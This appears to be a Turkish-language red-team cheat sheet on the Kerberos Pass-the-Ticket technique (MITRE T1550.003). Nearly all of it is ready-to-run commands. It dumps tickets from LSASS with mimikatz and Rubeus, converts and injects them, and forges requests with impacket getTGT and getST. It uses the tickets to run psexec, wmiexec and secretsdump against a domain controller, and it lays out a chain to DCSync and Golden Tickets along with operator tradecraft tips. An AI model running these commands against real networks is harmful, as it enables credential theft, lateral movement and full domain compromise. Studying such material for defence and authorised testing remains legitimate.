Skip to content

Pass-the-Ticket

MITRE ATT&CK · T1550.003 phase: lateral movement

MITRE ATT&CK · T1550.003 phase: lateral movement

Pass-the-Ticket (PtT), elde edilen bir Kerberos biletinin (TGT veya TGS) oturuma enjekte edilerek / KRB5CCNAME ile yüklenerek kimlik doğrulama için kullanılmasıdır. Bilet; bellekten çalınabilir (sekurlsa::tickets, Rubeus dump), forge edilebilir (Golden/Silver), S4U / PKINIT / getTGT ile üretilebilir.

NTLM kapalı veya Protected Users senaryolarında PtH yerine PtT zorunludur.

Rubeus dump / mimikatz sekurlsa::tickets → çalıntı TGT/TGS (.kirbi)
impacket-getTGT / getST / ticketer → .ccache
certipy auth / gettgtpkinit → PKINIT TGT
Over-Pass-the-Hash (asktgt /rc4) → hash'ten TGT
Unconstrained delegation monitor → yakalanan TGT
  1. Bileti hazırla — .ccache (impacket) veya .kirbi → dönüştür:

    Terminal window
    impacket-ticketConverter ticket.kirbi ticket.ccache
    Terminal window
    impacket-ticketConverter ticket.ccache ticket.kirbi
  2. Ortama yükle :

    Terminal window
    export KRB5CCNAME=$(pwd)/ticket.ccache
    Terminal window
    klist
  3. Kerberos ile kimlik doğrula ( -k -no-pass ) — FQDN kullan:

    Terminal window
    impacket-psexec -k -no-pass domain.local/Administrator@dc01.domain.local
    Terminal window
    impacket-wmiexec -k -no-pass domain.local/Administrator@server01.domain.local
    Terminal window
    impacket-smbclient -k -no-pass domain.local/Administrator@server01.domain.local
    Terminal window
    impacket-secretsdump -k -no-pass domain.local/Administrator@dc01.domain.local
    Terminal window
    impacket-mssqlclient -k -no-pass domain.local/Administrator@sql01.domain.local
    Terminal window
    evil-winrm -i dc01.domain.local -r domain.local # ccache ile (yapılandırmaya bağlı)
mimikatz # sekurlsa::tickets /export
mimikatz # kerberos::ptt C:\temp\ticket.kirbi
mimikatz # kerberos::list
Terminal window
Rubeus.exe ptt /ticket:C:\temp\ticket.kirbi
Terminal window
Rubeus.exe ptt /ticket:base64ticket==
Terminal window
Rubeus.exe dump /service:krbtgt /nowrap
Terminal window
Rubeus.exe renew /ticket:ticket.kirbi /ptt # yenilenebilir TGT
Terminal window
Rubeus.exe tgtdeleg /nowrap
Terminal window
klist
Terminal window
klist purge
Terminal window
impacket-getTGT domain.local/user:'Pass123' -dc-ip 10.10.10.5
Terminal window
impacket-getTGT domain.local/user -hashes :NTHASH -dc-ip 10.10.10.5
Terminal window
impacket-getTGT domain.local/user -aesKey AESKEY -dc-ip 10.10.10.5
Terminal window
impacket-getST -spn cifs/server01.domain.local \
-impersonate Administrator domain.local/svc:'Pass' -dc-ip 10.10.10.5
Terminal window
10.10.10.5 dc01.domain.local domain.local
Terminal window
sudo ntpdate dc01.domain.local
Kerberos IP ile çalışmaz → SPN host/fqdn gerekir
Clock skew > 5 dk → KRB_AP_ERR_SKEW

Pass-the-Ticket · psexec -k

embedded tool
Generated command
export KRB5CCNAME=admin.ccache && impacket-psexec -k -no-pass dc01.domain.local
Shadow Credentials → gettgtpkinit → ccache
→ PtT secretsdump -k
→ krbtgt → Golden → uzun vadeli PtT
veya:
Rubeus monitor (UD) → DC$ TGT ptt → DCSync
  • Çalıntı TGT’yi export etmek LSASS erişimi ister — zaten yüksek yetki.
  • Forge Golden/Silver PtT, çalıntı bilete göre farklı lifetime/PAC alanları taşır; AES + gerçek userId tercih et.
  • klist purge sonrası temiz oturum; başka operatörün biletini karıştırma.
  • Yenilenebilir TGT’yi ( renew ) uzun operasyonlarda kullan — sürekli AS-REQ azaltır.
  • KRB5CCNAME relatif path → başka cwd’de kaybolur; absolute path ver.
  • Domain kısmını yanlış yazmak ( DOMAIN.LOCAL vs domain.local ) — genelde case-insensitive ama realm krb5.conf ile uyumlu olsun.
  • Silver Ticket varken CIFS dışı servise gitmek.
  • Windows’ta PTT sonrası yeni process’in bileti görmemesi — aynı logon session’da çalıştır / runas /netonly dikkat.
  • Bastion’da DNS yok → /etc/hosts unutulmuş.

Golden Ticket · Silver Ticket · Exec methods · Delegation